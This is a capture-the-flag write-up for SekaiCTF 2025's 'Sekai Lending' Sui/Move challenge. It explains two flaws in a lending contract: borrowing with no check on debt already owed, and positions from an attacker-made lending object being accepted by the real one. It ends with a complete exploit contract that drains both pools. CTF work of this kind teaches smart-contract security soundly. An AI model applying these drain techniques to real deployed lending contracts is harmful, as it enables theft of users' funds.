SekaiCTF 2025
2811 words | 14 minutes
Blockchain
Sekai Lending
Welcome to fun lending service!
Difficulty: 3 ⯁ (Hard)
Solves: 11
Sekai Lending was an interesting Sui challenge and was my first time working with Move programs, so it did take a while for me to get a solve. I’ll do up this writeup a priori, assuming no prior exposure to Sui/Move. We’ll look at snippets of the challenge along the way — the full dist can be found here.
Setup
Sui has this helpful resource, the Move Book, with fairly comprehensive instructions on how to set up a local Sui development environment. Although the dist comes with a Dockerfile, I still found it more convenient to build and debug locally, only using the Docker container to run the local challenge server.
Move itself is built on top of Rust and is thus basically semantically equivalent, so it wasn’t too hard to get a feel for what the contracts were actually doing.
In a nutshell, the dist provides us with the following:
framework
contains the source for the challenge server.framework/chall/sources
contains the actual Move source for the contracts whereasframework/src/main.rs
is the server that you interact with.- The challenge server handles the deployment of the challenge contracts and calling of setup, then reads for the raw bytes of the compiled solution contract, deploys it and calls
solution::solve
. framework-solve
provides us with a blank contract to toss in our solve operations and another helper Rust binary to read the builtsolution.mv
binary and send it to the challenge server.
Now that our local solving environment is in order, we can look towards actually solving the challenge.
The Premise
As the challenge name implies, we have a lending protocol where you can deposit COLLATERAL
and borrow SEKAI
in exchange.
The SEKAI
and COLLATERAL
coins just follow the regular Sui Coin Standard, with the only oddity being the differing coin decimals.
1 // from sekai_coin.move
2 fun init(witness: SEKAI_COIN, ctx: &mut TxContext) {
3 let (treasury, metadata) = coin::create_currency(
4 witness,
5 8,
6 b"SEKAI",
7 b"SEKAI Coin",
8 b"SEKAI Coin",
9 option::none(),
10 ctx,
11 );
12 transfer::public_freeze_object(metadata);
13 transfer::public_transfer(treasury, ctx.sender());
14 }
15
16 // from colalteral_coin.move
17 fun init(witness: COLLATERAL_COIN, ctx: &mut TxContext) {
18 let (treasury, metadata) = coin::create_currency(
19 witness,
20 9,
21 b"COLLATERAL",
22 b"COLLATERAL Coin",
23 b"COLLATERAL Coin",
24 option::none(),
25 ctx,
26 );
27 transfer::public_freeze_object(metadata);
28 transfer::public_transfer(treasury, ctx.sender());
29 }
Initially I thought the decimal discrepancy would allow for some vulnerability (opportunity for rounding error) but alas, that was not the path.
In challenge.move
, we see that 100 COLLAT
and 100 SEKAI
is initially minted for the lending contract, and the player is able to claim 10 COLLAT
coins. A SEKAI_LENDING
object is created with the coins minted for it.
1public fun create(sekai_treasury: &mut TreasuryCap<SEKAI_COIN>, collateral_treasury: &mut TreasuryCap<COLLATERAL_COIN>, ctx: &mut TxContext) {
2 let claim = coin::into_balance(coin::mint(collateral_treasury, INITIAL_CLAIM, ctx)); // 10 COLLAT
3 let collateral_coin = coin::mint(collateral_treasury, INITIAL_COLLATERAL, ctx); // 100 COLLAT
4 let sekai_coin = coin::mint(sekai_treasury, INITIAL_SEKAI, ctx); // 100 SEKAI
5 let sekai_lending = sekai_lending::create(collateral_coin, sekai_coin, ctx);
6 let challenge = Challenge {
7 id: object::new(ctx),
8 sekai_lending,
9 sekai_donation: balance::zero(),
10 collateral_donation: balance::zero(),
11 claim,
12 user_positions: vector::empty()
13 };
14 transfer::public_share_object(challenge);
15 }
There’s also two functions, donate_sekai
and donate_collateral
whereby you can, well, donate coins to the challenge contract.
Our win condition is:
- The challenge contract having a
SEKAI
balance ofINITIAL_SEKAI * 8 / 10 = 80 SEKAI
- The challenge contract having a
COLLATERAL
balance ofINITIAL_COLLATERAL = 100 COLLAT
So we somehow have to drain the lending contract of almost all of its available liquidity and of all (or at least 90%) of its collateral.
Draining SEKAI
This turns out to be the easier part of the challenge whereby you only have to check the contract’s logic itself. In order to obtain SEKAI
as an end-user, I have to perform the following:
- Call
open_position
, creating a newUserPosition
struct- This creates a new
UserPosition
object with all of its members set to zero.
- This creates a new
- Call
deposit_collateral
with the amount ofCOLLAT
I want to put in. This callsdeposit_collateral_internal
- The
COLLAT
coin is transfered to the lending contract by callingbalance::join
(Sui just moves like that, I guess. No pun intended) - The
position.colalteral_amount
is increased by the amount deposited - The
self.total_collateral
is increased by the amount deposited.self
here is theSEKAI_LENDING
object passed into the function.
- The
- Call
borrow_coin
, specifying the amount ofSEKAI
I want to borrow- The
position.borrowed_amount
is increased by the amount borrowed - The
self.total_borrowed
is increased by the the amount borrowed borrowed_coins
amount ofSEKAI
is returned to the caller
- The
Looking specifically at the borrow_coin
function, we see this check performed:
1 let max_borrow = min(
2 ((convert_decimal(position.collateral_amount, COLLATERAL_DECIMALS, SEKAI_DECIMALS) * LTV_RATIO) / 100) as u128,
3 (self.borrowed_pool.value() * MAX_BORROW_RATIO / 100) as u128
4 );
5
6 assert!(borrow_amount <= max_borrow as u64, EInsufficientCollateral);
The LTV_RATIO
(Loan-To-Value Ratio) and MAX_BORROW_RATIO
are both 80%, so basically you can borrow up to 80% against the position.collateral_amount
(or the total available borrowable SEKAI
in the contract, whichever is smaller). WIth only 10 COLLAT
minted at the start, how would we borrow more than the permitted 8 SEKAI
?
Well, there is a simple vulnerability here! Notice that the assert compares your borrow_amount
to the calculated max_borrow
. However, there is no check for how much you’ve already borrowed in the entire function! This means that you can repeatedly call borrow_coin
as long as the borrow_amount
passes the assert (i.e. you borrow no more than 80% against the collateral deposited) and you can simply overdraft the position trivially.
Implementing the SEKAI Drain
Cross Program Invocation in Sui is surprisingly simple! For us to proceed with solving we first have to figure out, well, how to interact with the challenge. Our initial solution.move
file is a little sparse:
1module the_solution::solution {
2
3 use challenge::challenge::{Self, Challenge};
4
5 #[allow(lint(self_transfer))]
6 public fun solve(challenge: &mut Challenge, ctx: &mut TxContext) {
7 /*
8 exploit code
9 */
10 }
11
12}
With Move, however, we can simply make use of the… use
declarations to refer to the existing deployed modules. In our framework-solve
folder, there’s a dependency
folder whereby the source of the challenge contract is found. With this, we can actually just “import” stuff from those modules:
1 use sui::tx_context::{Self, TxContext};
2 use challenge::challenge::{Self, Challenge};
3 use challenge::sekai_coin::SEKAI_COIN;
4 use challenge::collateral_coin::COLLATERAL_COIN;
5 use challenge::sekai_lending::{Self, SEKAI_LENDING, UserPosition};
6 use sui::coin::{Self, Coin};
7 use sui::transfer;
When deploying the solution contract, it needs to know where the challenge contract is deployed to on the blockchain. Thankfully, the challenge server emits that:
1 // Send Challenge Address
2 let mut output = String::new();
3 fmt::write(
4 &mut output,
5 format_args!(
6 "[SERVER] challenge modules published at: {}",
7 chall_addr.to_string().as_str(),
8 ),
9 )
10 .unwrap();
11 stream.write(output.as_bytes()).unwrap();
For us to work with this, once we obtain the challenge address, we have to define it in the Move.toml
of our solution contract’s build folder:
1 [package]
2 name = "the_solution"
3 version = "0.0.1"
4 edition = "2024.alpha"
5
6 [dependencies]
7 Sui = { git = "https://github.com/MystenLabs/sui.git", subdir = "crates/sui-framework/packages/sui-framework", rev = "mainnet" }
8
9 [dependencies.challenge]
10 version = '1.0.0'
11 local = '../dependency'
12
13 [addresses]
14 challenge = "0x94e67b4c52a99bf6dfe5e416afd776ec30300bbff24af33d3786166446d20d61" # this is from the server
15 the_solution = "0x0"
Since we spin up a fresh server for interaction on remote and the contract code is identical, this challenge address should remain constant.
With this all in place, we can start implementing our first part of the challenge, draining of the SEKAI
!
First, we create a new user position. Since we’re going to overdraft this position, it will become bad debt and we won’t be able to withdraw our collateral (in the withdraw_collateral
function, there is a check that position.borrowed_amount <= max_borrow_amount
). Thus, we only use 1 COLLAT
to execute our draining.
1 let mut total_collateral_coin: Coin<COLLATERAL_COIN> = challenge.claim(ctx);
2 let deposit_amount = 1_000_000_000;
3 let deposit_coin = coin::split(&mut total_collateral_coin, deposit_amount, ctx);
4
5 let sekai_lending = challenge.get_sekai_lending_mut();
6
7 let mut user_position: UserPosition = sekai_lending.open_position(ctx);
8 sekai_lending.deposit_collateral(&mut user_position, deposit_coin, ctx);
Then, we will be able to borrow 0.8 SEKAI
against it each time. To get 80% of all available SEKAI
from the contract, this means we need to withdraw at least 100 times.
1 let borrow_amount_each_time = 80_000_000;
2 let mut total_borrowed_sekai = sekai_lending.borrow_coin(
3 &mut user_position,
4 borrow_amount_each_time,
5 ctx
6 );
7 let mut i = 1;
8 while (i < 111) {
9 let next_borrowed_coin = sekai_lending.borrow_coin(
10 &mut user_position,
11 borrow_amount_each_time,
12 ctx
13 );
14 coin::join(&mut total_borrowed_sekai, next_borrowed_coin);
15 i = i + 1;
16 };
And that’s it for the first part of our exploit! At the very end of our contract, we need to “give up” the objects that we are using by performing a public transfer:
1 transfer::public_transfer(total_collateral_coin, tx_context::sender(ctx));
2 transfer::public_transfer(user_position, tx_context::sender(ctx));
3 transfer::public_transfer(total_borrowed_sekai, tx_context::sender(ctx));
Draining the COLLAT
Now this is the trickier part. We first look at the contract again for any instances of balance::split(&mut self.collateral_pool, ...)
, as that would be some point whereby coins from the collateral pool are being transferred out. There are four such instances:
remove_collateral
, to remove collateral from theSEKAI_LENDING
object. There is an assert at the start of the function to check that we areself.admin
, which we fail.withdraw_collateral
, to remove collateral from our user position. There’s no obvious incongruence here.claim_liquidation_reward
, to claim liquidation rewards on any user position, with no check that the position was liquidated by you.withdraw_protocol_fees
, to claim the protocol fees from liquidations. Similarly, we fail theself.admin
check.
It appears our best bet is to either 1) claim hella liquidation rewards somehow or 2) become admin somehow (foreshadowing).
We do need to address something first: the liquidation functionality.
There’s a massive liquidate_position
function in this lending contract, but the logic itself is fairly simple.
In a lending protocol, to remain solvent, users should be able to liquidate other positions which have accrued bad debt (borrowing more than their collateral permits). By repaying their debt on their behalf, their collateral is forfeit and distributed to the liquidator and the protocol.
Here’s how it’s done in this contract:
1 let ltv = position.borrowed_amount * 100 / convert_decimal(position.collateral_amount, COLLATERAL_DECIMALS, SEKAI_DECIMALS);
2 let protocol_ltv = self.total_borrowed * 100 / convert_decimal(self.collateral_pool.value(), COLLATERAL_DECIMALS, SEKAI_DECIMALS);
3 assert!(ltv > LIQUIDATION_THRESHOLD || protocol_ltv > LIQUIDATION_THRESHOLD, ELiquidationThreshold);
Firstly, for a position you input, it checks whether it has exceeded the liquidation threshold, which is 85%. Alternatively, it checks if the entire protocol has become insolvent, whereby too much is borrowed against the total available collateral.
1 let liquidator = tx_context::sender(ctx);
2 let repayment_amount = coin::value(&repayment);
3 assert!(repayment_amount >= position.borrowed_amount, EInsufficientRepayment);
4
5 let debt_to_repay = position.borrowed_amount;
6 let collateral_to_liquidate = position.collateral_amount;
7 let protocol_fee = (collateral_to_liquidate * LIQUIDATION_PENALTY) / 100;
8
9 let liquidator_reward = collateral_to_liquidate - protocol_fee;
10
11 balance::join(&mut self.borrowed_pool, coin::into_balance(repayment));
This is the crux of the function. You repay the bad debt of the position, and the remaining collateral is split 90-10, where 90% becomes a claimable liquidator reward and 10% is kept by the protocol as a fee.
1 position.liquidation_epoch = tx_context::epoch(ctx);
2 position.is_liquidated = true;
3 position.liquidation_reward = liquidator_reward;
4 position.collateral_amount = 0;
5 position.borrowed_amount = 0;
The user position passed in is then updated to reflect that it has been liquidated, with the liquidation reward set.
But once again, we seem to be stuck. When we create user positions, we can make them liquidatable by the prior SEKAI
overborrowing exploit. However, when we want to liquidate the position, we need to be able to repay that excessively borrowed SEKAI
. Furthermore, when we claim the liquidation rewards, we are simply claiming 90% of the collateral we put in to make that position, so we are making a net loss.
This is where the next vulnerability in the contract comes in.
Sui follows an object centric model, and as is basically assumed thus far, you cannot arbitrarily edit the objects you pass into these functions off-chain and hope it works. If that was possible, we would just have to edit the values of the user position we pass in and withdraw however much we want.
However, there is an issue with how all the functions whereby you pass in a SEKAI_LENDING
object operate: there is no check whether the user position was created in correspondence with that SEKAI_LENDING
object. What this means is I can create my own SEKAI_LENDING
object with its own liquidity and collateral pool, then take a user position made with a different SEKAI_LENDING
object and pass it into my own.
This is powerful as:
- I am the owner of my own
SEKAI_LENDING
object, so I can withdraw any and all tokens that are processed by it - I can arbitrarily make my own lending object insolvent, meaning any
UserPosition
object I create will be liquidatable - When I liquidate the user position, it updates the liquidation reward which is tied to the object. It also updates the protocol fees of my lending object
- I can now withdraw all the tokens from my own lending object, reclaiming the collateral used to create the user position
- The user position is still a valid object that can then be passed into the original lending object in its
claim_liquidation_reward
function. Here, I get to withdraw the liquidation reward from the legitimate lending object’s collateral pool, making a net profit
A simple diagram looks like this:
![]() |
---|
Fig: For the visual learners |
So now we have a clear exploitation path to solve the rest of the challenge!
Implementing the COLLAT Drain
We will create our own lending object with a very small amounts of SEKAI
and COLLAT
. However, we will make the amount of SEKAI
in the liquidity pool much higher than the COLLAT
amount, such that we can borrow an excess of SEKAI
against the total available COLLAT
.
1 let collateral_for_new_pool = coin::split(&mut total_collateral_coin, 100, ctx);
2 let sekai_for_new_pool = coin::split(&mut total_borrowed_sekai, 1_000, ctx);
3 let mut new_lending: SEKAI_LENDING = sekai_lending::create(
4 collateral_for_new_pool,
5 sekai_for_new_pool,
6 ctx
7 );
Now, we open a user position with our own lending object. After depositing collateral, we borrow against it, then remove all the collateral (which we can do, since we are the admin of our own lending object!).
1 let mut new_pos = new_lending.open_position(ctx);
2 let exploit_collateral_deposit = coin::split(&mut total_collateral_coin, 8_000_000_000, ctx);
3 new_lending.deposit_collateral(&mut new_pos, exploit_collateral_deposit, ctx);
4 let repayment_sekai = new_lending.borrow_coin(&mut new_pos, 800, ctx);
5 let removed_collateral = new_lending.remove_collateral(8_000_000_000, ctx);
6 coin::join(&mut total_collateral_coin, removed_collateral);
We’re now free to liquidate the user position, then steal the liquidation reward from the original lending object.
1 new_lending.liquidate_position(&mut new_pos, repayment_sekai, ctx);
2 let stolen_collateral = sekai_lending.claim_liquidation_reward(&mut new_pos, ctx);
3 coin::join(&mut total_collateral_coin, stolen_collateral);
From this, since we deposit 8 COLLAT
, we can gain 7.2 COLLAT
per liquidation reward claim off the original lending object! Now we just have to repeat this as many times as needed until we have accrued 100 COLLAT
in total.
Complete Implementation
Putting everything together, we have this as our complete solution contract:
1module the_solution::solution {
2 use sui::tx_context::{Self, TxContext};
3 use challenge::challenge::{Self, Challenge};
4 use challenge::sekai_coin::SEKAI_COIN;
5 use challenge::collateral_coin::COLLATERAL_COIN;
6 use challenge::sekai_lending::{Self, SEKAI_LENDING, UserPosition};
7 use sui::coin::{Self, Coin};
8 use sui::transfer;
9
10
11 #[allow(lint(self_transfer))]
12 public fun solve(challenge: &mut Challenge, ctx: &mut TxContext) {
13
14 let target_collat = 100 * 1_000_000_000;
15
16 let mut total_collateral_coin: Coin<COLLATERAL_COIN> = challenge.claim(ctx);
17 let deposit_amount = 1_000_000_000;
18 let deposit_coin = coin::split(&mut total_collateral_coin, deposit_amount, ctx);
19
20 let sekai_lending = challenge.get_sekai_lending_mut();
21
22 let mut user_position: UserPosition = sekai_lending.open_position(ctx);
23 sekai_lending.deposit_collateral(&mut user_position, deposit_coin, ctx);
24
25 let borrow_amount_each_time = 80_000_000;
26 let mut total_borrowed_sekai = sekai_lending.borrow_coin(
27 &mut user_position,
28 borrow_amount_each_time,
29 ctx
30 );
31 let mut i = 1;
32 while (i < 111) {
33 let next_borrowed_coin = sekai_lending.borrow_coin(
34 &mut user_position,
35 borrow_amount_each_time,
36 ctx
37 );
38 coin::join(&mut total_borrowed_sekai, next_borrowed_coin);
39 i = i + 1;
40 };
41
42
43 while (coin::value(&total_collateral_coin) < target_collat) {
44 let collateral_for_new_pool = coin::split(&mut total_collateral_coin, 100, ctx);
45 let sekai_for_new_pool = coin::split(&mut total_borrowed_sekai, 1_000, ctx);
46 let mut new_lending: SEKAI_LENDING = sekai_lending::create(
47 collateral_for_new_pool,
48 sekai_for_new_pool,
49 ctx
50 );
51
52 let mut new_pos = new_lending.open_position(ctx);
53 let exploit_collateral_deposit = coin::split(&mut total_collateral_coin, 8_000_000_000, ctx);
54 new_lending.deposit_collateral(&mut new_pos, exploit_collateral_deposit, ctx);
55 let repayment_sekai = new_lending.borrow_coin(&mut new_pos, 800, ctx);
56 let removed_collateral = new_lending.remove_collateral(8_000_000_000, ctx);
57 coin::join(&mut total_collateral_coin, removed_collateral);
58
59 new_lending.liquidate_position(&mut new_pos, repayment_sekai, ctx);
60 let stolen_collateral = sekai_lending.claim_liquidation_reward(&mut new_pos, ctx);
61 coin::join(&mut total_collateral_coin, stolen_collateral);
62
63 transfer::public_transfer(new_lending, tx_context::sender(ctx));
64 transfer::public_transfer(new_pos, tx_context::sender(ctx));
65 };
66
67 let donation_amount = 100 * 80_000_000;
68 let donation_coin = coin::split(&mut total_borrowed_sekai, donation_amount, ctx);
69 challenge.donate_sekai(donation_coin);
70 let collateral_donation_coin = coin::split(&mut total_collateral_coin, target_collat, ctx);
71 challenge.donate_collateral(collateral_donation_coin);
72
73 transfer::public_transfer(total_collateral_coin, tx_context::sender(ctx));
74 transfer::public_transfer(user_position, tx_context::sender(ctx));
75 transfer::public_transfer(total_borrowed_sekai, tx_context::sender(ctx));
76 }
77}
Run this against the remote and we get our flag!
Flag: SEKAI{fun-lending-service-zzlol}